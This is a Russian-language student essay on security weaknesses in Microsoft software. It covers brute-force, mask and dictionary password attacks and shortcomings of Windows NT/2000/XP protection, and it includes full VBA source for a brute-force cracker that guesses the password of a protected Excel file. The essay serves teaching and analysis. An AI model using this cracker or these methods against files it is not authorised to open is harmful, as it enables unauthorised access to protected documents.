Ошибки в реализации защиты в распространенных коммерческих программных продуктах фирмы Microsoft

Автор работы: Пользователь скрыл имя, 28 Ноября 2012 в 19:10, реферат

Краткое описание

Двумя основными классами ошибок при разработке программного обеспечения, приводящими к потенциальной возможности проведения атак на информацию, являются интерференция данных и нарушение неявных ограничений.
Интерференция (то есть непредусмотренное взаимодействие) данных между собой и данных с кодом является менее распространенным, но более опасным синдромом, чем описываемая ниже проблема ограничений по умолчанию. Практически единственным способом вызвать наслоение данных друг на друга либо данных на код программы является попытка дойти при операции записи до границы области памяти, отведенной под данный блок информации, и преодолеть ее – то есть умышленное переполнение буфера.

Содержание работы

1. Ошибки, приводящие к возможности атак на информацию……….…..….3
2. Получение пароля на основе ошибок в реализации……………..……..…..5
3. Распространенные средства и методики взлома парольной защиты офисных документов…………………………………………………..………10
4. Программа взлома пароля файлов Microsoft Office…………………….....13
5. Принципиальные недостатки защитных механизмов ОС семейства Windows…………………………………………………………………………17
6. Список использованной литературы………………………………………..26

Содержимое работы - 1 файл

реферат по защите информации.docx

— 62.92 Кб (Скачать файл)

Очевидно, что T - напрямую зависит от количества символов, которые можно применять в пароле, максимальной длины пароля,  мощности компьютера, алгоритма перебора вариантов, а также эффективности программной реализации. При этом, результаты тестирования показывают, что на компьютере с процессором Celeron 416 МГц и объемом оперативной памяти 128 Мб программа Advanced Office 97 позволяет гарантированно взломать пароль, состоящий из 6 символов за 90 дней. Необходимо отметить, что результаты исследований проведенных автором показывают, что квалифицированный пользователь, как правило, использует пароль длиной от 6 до 16 символов. Этот результат был получен на основании опроса примерно 200 студентов старших курсов экономических специальностей. 

Таким образом метод прямого  перебора может потребовать колоссальных затрат машинного времени и практически  не приемлем для взлома пароля  с  помощью одного компьютера. Однако эффективность подобной атаки можно  повысить, если задействовать для  ее проведения не один, а несколько  десятков компьютеров.

Разумеется, в процессе перебора может случиться так, что искомый  пароль встретится быстро, и все  возможные комбинации перебирать не придется.

Перебор по маске. Применяется  в том случае, если известны определенные параметры пароля, например длина  или некоторые символы. Смысл использования заключается в том, что программе приходится перебирать меньшее количество возможных комбинаций. В соответствии с (1, 2) даже зная только количество символов в пароле  и используемую раскладку клавиатуры можно значительно уменьшить время подбора пароля. Отметим, что эти характеристики зафиксировать довольно легко.

Перебор по словарю. Метод  базируется на том, что довольно часто  для простоты запоминания пользователи используют в качестве пароля обычные  слова. По мнению ученых, список слов (словарь), которые пользователи вводят в качестве пароля, не превышает ста тысяч, что значительно меньше количества возможных вариантов пароля в случае применения прямого перебора. При этом, для каждого слова из словаря парольный взломщик может использовать одно или несколько правил. В соответствии с этими правилами слово изменяется и порождает дополнительное множество опробуемых паролей. Правила заключаются в изменении регистра символов пароля, в применении обратного порядка следования символов в пароле, замене букв на близкие по начертанию цифры. Слабыми сторонами данного метода являются трудности при составлении достаточно полного словаря паролей, а также принципиальная невозможность достижения стопроцентной вероятности взлома пароля. Кроме того, разработаны рекомендации, которые позволяют рядовому пользователю составить пароль, который с малой вероятностью присутствует в словаре.

Отмечу, что автору не удалось найти достаточно подробного описания программной реализации парольных взломщиков. Без знания этой реализации достаточно трудно объективно оценить возможности взлома парольной защиты.

 

 

 

 

 

 

 

ПРОГРАММА ВЗЛОМА ПАРОЛЯ ФАЙЛОВ MICROSOFT OFFICE

 

В качестве языка программирования  был выбран VBA. Выбор основан на тесной интеграции VBA со всеми приложениями Microsoft Office, а также наличием в этом языке методов позволяющих открывать файлы Excel, Word, Access, а также PowerPoint, защищенные паролем. Рассмотрим программу для взлома пароля файла Excel методом полного перебора символов, которые можно использовать в пароле. Программа для взлома была реализована в файле Excel break.xls. Предположим, что паролем защищен файл test.xls, расположенный в корневом каталоге диска Е. В файле break.xls создана пользовательская форма с кнопкой, выбор которой запускает процедуру CommandButton1_Click(),  инициализирующую подбор пароля. Для удобства символы, применяемые в пароле, записаны в столбце «А» первой страницы файла break.xls. Полный код программы с подробными комментариями показан в листинге 1:

Листинг 1.

'Объявляем  массив для хранения символов

Dim ch(1 To 47) As String 

'Объявляем  переменную для хранения ожидаемой  длины пароля

Dim lenthP As Integer

'Объявляем  переменную (флаг) для проверки открытия  файла

Dim doc As Variant 

'Процедура инициализирующая подбор пароля

Private Sub CommandButton1_Click()

  ‘Оператор подавления ошибки

    On Error Resume Next

    'Определяем максимальную длину пароля. В качестве примера 2

    lenthP = 2

    'Пока флаг равен «no» файл не открыт, т.е. пароль не найден

    doc = «no» 

    'Из первого листа рабочей книги  переписываем в массив символы, 

    'которые могут применяется в пароле

    For i = 1 To 47 

        ch(i) = ActiveWorkbook.Sheets(“1”).Cells(I, 1)

    Next I

    'Открываем файл, предположив   отсутствие пароля

    doc = Application.Workbooks.Open(“E:\test.xls”)

    'Если флаг сигнализирует об открытии файла, то выводим соответствующее

    'окно сообщения и закрываем  программу

    If doc <> «no» Then

        'Показываем окно сообщения  

        MsgBox «Пароля нет»

        End

    End If

    'Вызов функции подбора пароля

    FuncPass « «, lenthP

End Sub

'Объявление  функции открытия файла.

'Параметр  mypass - пароль на открытие файла

Sub OpenFile(mypass As String)

    On Error Resume Next

   ‘Стандартный метод открытия файла.

    doc = Application.Workbooks.Open(“E:\test.xls”, , , , Trim(mypass))

    If doc <> “no” Then

        MsgBox mypass

        End

    End If

End Sub

'Объявление  функции подбора пароля

'Параметры  mypass - текущий пароль, depth - максимальная длина пароля

Sub FuncPass(mypass As String, depth As Integer)

    'Вызов функции открытия файла

    OpenFile mypass

    For k = 1 To 47

        If depth > 0 Then

            FuncPass mypass + ch(k), depth – 1

        End If

    Next k

End Sub

Особенностью  показанной программы является применение оператора подавления ошибки времени  выполнения, которая генерируется средой VBA при попытке открытия файла  с не правильным паролем. Сигналом правильного  пароля является запись в переменную doc дескриптора открываемого файла. Отметим, что пароль формируется путем последовательного добавления к нему новых символов, до тех пор, пока его длина меньше максимальной. Для этого используется рекурсивная функция формирования пароля.

Модификация показанной программы для взлома паролей файлов Word, Access, или PowerPoint будет заключаться в добавлении соответствующих библиотек для работы с этими приложениями и применении надлежащих методов открытия файлов.

Проведенные эксперименты показали, что с помощью  описанной программы на компьютере с процессором Pentium-3 600 МГц и объемом  оперативной памяти 384 МБ, работающего  под управлением операционной системы  Windows 2000, один вариант пароля подбирается за время 0,01-0,015с.

Малое быстродействие предложенной программы можно пояснить  недостаточно эффективным алгоритмом формирования вариантов пароля и  низкой эффективностью языка VBA.   При этом с точки зрения аппаратного  обеспечения, скорость взлома пароля зависит в основном  от тактовой частоты процессора.

В качестве   мероприятий направленных  на усиление парольной защиты можно предложить:

  • Добавление в приложениях Microsoft Office опции отключения программного интерфейса открытия файла.
  • Использование в пароле символов расположенных в алфавите как можно дальше друг от друга.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПРИНЦИПИАЛЬНЫЕ  НЕДОСТАТКИ ЗАЩИТЫ ОС СЕМЕСТВА WINDOWS

 

В ОС Windows принята концепция реализации разграничительной политики доступа к ресурсам (для NTFS). В рамках этой концепции разграничения для файла приоритетнее ,чем для каталога, а в общем случае — разграничения для включаемого файлового объекта приоритетнее, чем для включающего (более подробно данный вопрос анализируется в четвертой части книги).Это приводит к тому, что пользователь, создавая файл и являясь его «владельцем», может назначить любые атрибуты доступа к такому файлу (т.е.разрешить к нему доступ любому иному пользователю). При этом обратиться к этому файлу может пользователь (которому назначил права доступа «владелец »)вне зависимости от установленных администратором атрибутов доступа на каталог, в котором пользователь создает файл. Данная проблема непосредственно связана с реализуемой в ОС Windows концепцией защиты информации.

В Windows (NT/2000/XP) не в полном объеме реализуется дискреционная модель доступа, в частности, не могут разграничиваться права доступа для пользователя «Система » .В ОС присутствуют не только пользовательские, но и системные процессы, которые запускаются непосредственно системой. При этом доступ системных процессов не может быть разграничен. Соответственно, все запускаемые системные процессы имеют неограниченный доступ к защищаемым ресурсам. С этим недостатком системы защиты связано множество атак, в частности, несанкционированный запуск собственного процесса с правами системного. Это возможно и вследствие некорректной реализации механизма обеспечения замкнутости программной среды.

В ОС семейства  Windows (NT/2000/XP)невозможно в общем случае обеспечить замкнутость (или целостность) программной среды.

Рассмотрим  два способа, которыми в общем случае можно реализовать данный механизм, и покажем их несостоятельность в ОС Windows. Итак, механизм замкнутости программной среды в общем случае может быть обеспечен:

- Заданием списка разрешенных к запуску процессов с предоставлением возможности пользователям запускать процессы только из этого списка. При этом процессы задаются полнопутевыми именами, причем средствами разграничения доступа обеспечивается невозможность их модернизации пользователем. Данный подход просто не реализуется встроенными в ОС механизмами.

         -  Разрешением запуска пользователями программ только из заданных каталогов при невозможности модернизации этих каталогов. Одним из условий корректной реализации данного подхода является запрет пользователям запуска программ иначе, чем из, соответствующих каталогов. Некорректность реализации ОС Windows данного подхода

связана с невозможностью установки атрибута «исполнение » на устройства ввода (дисковод или CD-ROM).В связи с этим при разграничении доступа пользователь может запустить несанкционированную программу с дискеты, либо с диска CD-ROM (как далее увидим – это очень распространенная атака на ОС данного семейства).

Здесь же стоит отметить, что с точки зрения обеспечения замкнутости программной среды (т.е.реализации механизма, обеспечивающего возможность пользователям запускать только санкционированные процессы (программы))действия пользователя по запуску процесса могут быть как явными, так и скрытыми.

Явные действия предполагают запуск процессов (исполняемых  файлов), которые однозначно идентифицируются своим именем. Скрытые действия позволяют осуществлять встроенные в приложения интерпретаторы команд. Примером таковых могут служить офисные приложения. При этом скрытыми действиями пользователя будет запуск макроса.

В данном случае идентификации подлежит лишь собственно приложение, например, процесс winword.exe. При этом он может помимо своих регламентированных действий выполнять те скрытые действия, которые задаются макросом (соответственно, те, которые допускаются интерпретатором), хранящимся в открываемом документе. То же относится и к любой виртуальной машине, содержащей встроенный интерпретатор команд. При этом отметим, что при использовании приложений, имеющих встроенные интерпретаторы команд (в том числе офисных приложений),не в полном объеме обеспечивается выполнение требования по идентификации программ.

В ОС семейства  Windows (NT/2000/XP) невозможно встроенными средствами гарантированно удалять остаточную информацию.

Кроме того, ОС семейства Windows (NT/2000/XP) не обладают в полном объеме возможностью контроля целостности файловой системы. Встроенные механизмы системы позволяют контролировать только собственные системные файлы, не обеспечивая контроль целостности файлов пользователя. Кроме того, они не решают важнейшую задачу данных механизмов — контроль целостности программ (приложений)перед их запуском,

контроль  файлов данных пользователя и др.

Что касается регистрации (аудита),то в ОС семейства Windows (NT/2000/XP) не обеспечивается регистрация выдачи документов на «твердую копию »,а также некоторые другие требования к регистрации событий.

Опять же, если трактовать требования к управлению доступом в общем случае, то при защите компьютера в составе ЛВС необходимо управление доступом к хостам (распределенный пакетный фильтр).В ОС семейства Windows (NT/2000/XP)механизм управления доступа к хостам в полном объеме не реализуется.

Информация о работе Ошибки в реализации защиты в распространенных коммерческих программных продуктах фирмы Microsoft